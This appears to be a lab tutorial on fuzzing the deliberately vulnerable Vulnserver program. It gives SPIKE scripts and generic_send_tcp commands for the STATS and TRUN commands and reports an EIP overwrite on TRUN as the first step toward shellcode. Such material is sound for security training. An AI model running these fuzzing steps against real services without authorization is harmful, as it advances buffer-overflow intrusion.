Spiking
Spiking is where we take a wide range of data and throw it at the different "HELP" commands to try and break the program. The goal is to find which command is vulnerable to a buffer overflow.
Attach Vulnserver and Connect
Launch Vulnserver, then attach it to Immunity Debugger to analyze the data. In a Kali terminal, connect to it:
nc -nv 192.168.57.14 9999
The next step is to test whether any of the HELP commands are vulnerable, by spiking each valid command in turn.
Spike the STATS Command
The tool for this is generic_send_tcp.
/generic_send_tcp 192.168.57.12 9999 stats.spk 0 0
The stats.spk script looks like this:
s_readline();
s_string("STATS ");
s_string_variable("0");
This throws data at the STATS command and tests for a buffer overflow. When we send the command, we see something like this:
It runs through and fuzzes vulnserver to find a vulnerability. We can monitor for buffer overflows in real time via Immunity Debugger.
Spike the TRUN Command
Next, try the TRUN command and see if we get a successful spike:
s_readline();
s_string("TRUN ");
s_string_variable("0");
/generic_send_tcp 192.168.57.12 9999 trun.spk 0 0
Immunity Debugger pauses and we get an "Access violation when executing [41414141]". This is a sign that TRUN is vulnerable to buffer overflow. We successfully overwrote the EIP, EBP, and ESP with a bunch of "AAAAAAAAAAAAAAAAAA's":
The key takeaway is that we overflowed the EIP. This is critical to injecting malicious code, aka "Shell Code".